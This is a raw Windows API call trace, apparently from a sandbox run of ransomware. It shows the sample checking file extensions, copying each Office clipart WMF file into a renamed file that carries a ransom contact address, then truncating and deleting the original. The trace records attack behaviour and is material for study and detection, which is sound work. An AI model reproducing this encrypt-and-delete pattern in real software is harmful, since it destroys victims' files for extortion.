	[0193.405] lstrlenW (lpString=".xlsx") returned 5
	[0193.405] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0193.405] lstrlenW (lpString=".ppt") returned 4
	[0193.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0193.405] lstrlenW (lpString=".zip") returned 4
	[0193.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.405] lstrlenW (lpString=".rar") returned 4
	[0193.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.405] lstrlenW (lpString=".bz2") returned 4
	[0193.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.405] lstrlenW (lpString=".7z") returned 3
	[0193.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0193.405] lstrlenW (lpString=".dbf") returned 4
	[0193.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0193.406] lstrlenW (lpString=".1cd") returned 4
	[0193.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0193.406] lstrlenW (lpString=".jpg") returned 4
	[0193.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0193.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0193.406] lstrlenW (lpString=".doc") returned 4
	[0193.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.406] lstrlenW (lpString=".docx") returned 5
	[0193.406] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0193.406] lstrlenW (lpString=".pdf") returned 4
	[0193.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.406] lstrlenW (lpString=".xls") returned 4
	[0193.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.406] lstrlenW (lpString=".xlsx") returned 5
	[0193.406] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0193.406] lstrlenW (lpString=".ppt") returned 4
	[0193.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0193.406] lstrlenW (lpString=".zip") returned 4
	[0193.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.406] lstrlenW (lpString=".rar") returned 4
	[0193.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.406] lstrlenW (lpString=".bz2") returned 4
	[0193.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.406] lstrlenW (lpString=".7z") returned 3
	[0193.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0193.407] lstrlenW (lpString=".dbf") returned 4
	[0193.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0193.407] lstrlenW (lpString=".1cd") returned 4
	[0193.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68
	[0193.407] lstrlenW (lpString=".jpg") returned 4
	[0193.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.407] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.407] lstrlenW (lpString="J0105506.WMF") returned 12
	[0193.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0193.408] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=2912) returned 1
	[0193.408] CloseHandle (hObject=0x5e8) returned 1
	[0193.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 0x220
	[0193.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0193.409] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.409] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0193.410] GetLastError () returned 0x0
	[0193.410] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xb60, lpOverlapped=0x0) returned 1
	[0193.412] WriteFile (in: hFile=0x5c0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xb70, lpOverlapped=0x0) returned 1
	[0193.415] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.415] WriteFile (in: hFile=0x5c0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.415] SetEndOfFile (hFile=0x5c0) returned 1
	[0193.416] CloseHandle (hObject=0x5c0) returned 1
	[0193.416] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.416] SetEndOfFile (hFile=0x5e8) returned 1
	[0194.301] CloseHandle (hObject=0x5e8) returned 1
	[0194.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 1
	[0194.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0194.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0194.303] lstrlenW (lpString=".doc") returned 4
	[0194.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.303] lstrlenW (lpString=".docx") returned 5
	[0194.303] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0194.303] lstrlenW (lpString=".pdf") returned 4
	[0194.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.303] lstrlenW (lpString=".xls") returned 4
	[0194.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.303] lstrlenW (lpString=".xlsx") returned 5
	[0194.303] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0194.303] lstrlenW (lpString=".ppt") returned 4
	[0194.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0194.303] lstrlenW (lpString=".zip") returned 4
	[0194.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.303] lstrlenW (lpString=".rar") returned 4
	[0194.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.303] lstrlenW (lpString=".bz2") returned 4
	[0194.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.303] lstrlenW (lpString=".7z") returned 3
	[0194.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0194.303] lstrlenW (lpString=".dbf") returned 4
	[0194.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0194.303] lstrlenW (lpString=".1cd") returned 4
	[0194.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0194.304] lstrlenW (lpString=".jpg") returned 4
	[0194.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0194.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0194.304] lstrlenW (lpString=".doc") returned 4
	[0194.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.304] lstrlenW (lpString=".docx") returned 5
	[0194.304] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0194.304] lstrlenW (lpString=".pdf") returned 4
	[0194.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.304] lstrlenW (lpString=".xls") returned 4
	[0194.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.304] lstrlenW (lpString=".xlsx") returned 5
	[0194.304] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0194.304] lstrlenW (lpString=".ppt") returned 4
	[0194.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0194.304] lstrlenW (lpString=".zip") returned 4
	[0194.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.304] lstrlenW (lpString=".rar") returned 4
	[0194.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.304] lstrlenW (lpString=".bz2") returned 4
	[0194.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.304] lstrlenW (lpString=".7z") returned 3
	[0194.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0194.304] lstrlenW (lpString=".dbf") returned 4
	[0194.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0194.305] lstrlenW (lpString=".1cd") returned 4
	[0194.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0194.305] lstrlenW (lpString=".jpg") returned 4
	[0194.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.305] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.305] lstrlenW (lpString="J0106020.WMF") returned 12
	[0194.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0194.306] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=10060) returned 1
	[0194.306] CloseHandle (hObject=0x5e8) returned 1
	[0194.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 0x220
	[0194.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0194.307] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.307] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0194.308] GetLastError () returned 0x0
	[0194.308] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x274c, lpOverlapped=0x0) returned 1
	[0194.310] WriteFile (in: hFile=0x514, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x2750, lpOverlapped=0x0) returned 1
	[0194.311] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.311] WriteFile (in: hFile=0x514, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.311] SetEndOfFile (hFile=0x514) returned 1
	[0194.312] CloseHandle (hObject=0x514) returned 1
	[0194.312] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.312] SetEndOfFile (hFile=0x5e8) returned 1
	[0194.315] CloseHandle (hObject=0x5e8) returned 1
	[0194.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 1
	[0194.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0194.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0194.316] lstrlenW (lpString=".doc") returned 4
	[0194.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.316] lstrlenW (lpString=".docx") returned 5
	[0194.316] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0194.316] lstrlenW (lpString=".pdf") returned 4
	[0194.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.316] lstrlenW (lpString=".xls") returned 4
	[0194.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.317] lstrlenW (lpString=".xlsx") returned 5
	[0194.317] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0194.317] lstrlenW (lpString=".ppt") returned 4
	[0194.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0194.317] lstrlenW (lpString=".zip") returned 4
	[0194.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.317] lstrlenW (lpString=".rar") returned 4
	[0194.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.317] lstrlenW (lpString=".bz2") returned 4
	[0194.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.317] lstrlenW (lpString=".7z") returned 3
	[0194.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0194.317] lstrlenW (lpString=".dbf") returned 4
	[0194.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0194.317] lstrlenW (lpString=".1cd") returned 4
	[0194.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0194.317] lstrlenW (lpString=".jpg") returned 4
	[0194.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0194.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0194.317] lstrlenW (lpString=".doc") returned 4
	[0194.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.318] lstrlenW (lpString=".docx") returned 5
	[0194.318] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0194.318] lstrlenW (lpString=".pdf") returned 4
	[0194.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.318] lstrlenW (lpString=".xls") returned 4
	[0194.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.318] lstrlenW (lpString=".xlsx") returned 5
	[0194.318] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0194.318] lstrlenW (lpString=".ppt") returned 4
	[0194.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0194.318] lstrlenW (lpString=".zip") returned 4
	[0194.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.318] lstrlenW (lpString=".rar") returned 4
	[0194.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.318] lstrlenW (lpString=".bz2") returned 4
	[0194.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.318] lstrlenW (lpString=".7z") returned 3
	[0194.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0194.318] lstrlenW (lpString=".dbf") returned 4
	[0194.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0194.318] lstrlenW (lpString=".1cd") returned 4
	[0194.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0194.319] lstrlenW (lpString=".jpg") returned 4
	[0194.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.319] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.319] lstrlenW (lpString="J0106124.WMF") returned 12
	[0194.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0194.320] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=5812) returned 1
	[0194.320] CloseHandle (hObject=0x5e8) returned 1
	[0194.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 0x220
	[0194.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0194.320] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.321] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0194.321] GetLastError () returned 0x0
	[0194.321] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x16b4, lpOverlapped=0x0) returned 1
	[0194.324] WriteFile (in: hFile=0x514, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x16c0, lpOverlapped=0x0) returned 1
	[0194.325] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.325] WriteFile (in: hFile=0x514, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.325] SetEndOfFile (hFile=0x514) returned 1
	[0194.325] CloseHandle (hObject=0x514) returned 1
	[0194.325] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.325] SetEndOfFile (hFile=0x5e8) returned 1
	[0194.329] CloseHandle (hObject=0x5e8) returned 1
	[0194.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 1
	[0194.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0194.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0194.330] lstrlenW (lpString=".doc") returned 4
	[0194.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.330] lstrlenW (lpString=".docx") returned 5
	[0194.330] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0194.330] lstrlenW (lpString=".pdf") returned 4
	[0194.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.331] lstrlenW (lpString=".xls") returned 4
	[0194.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
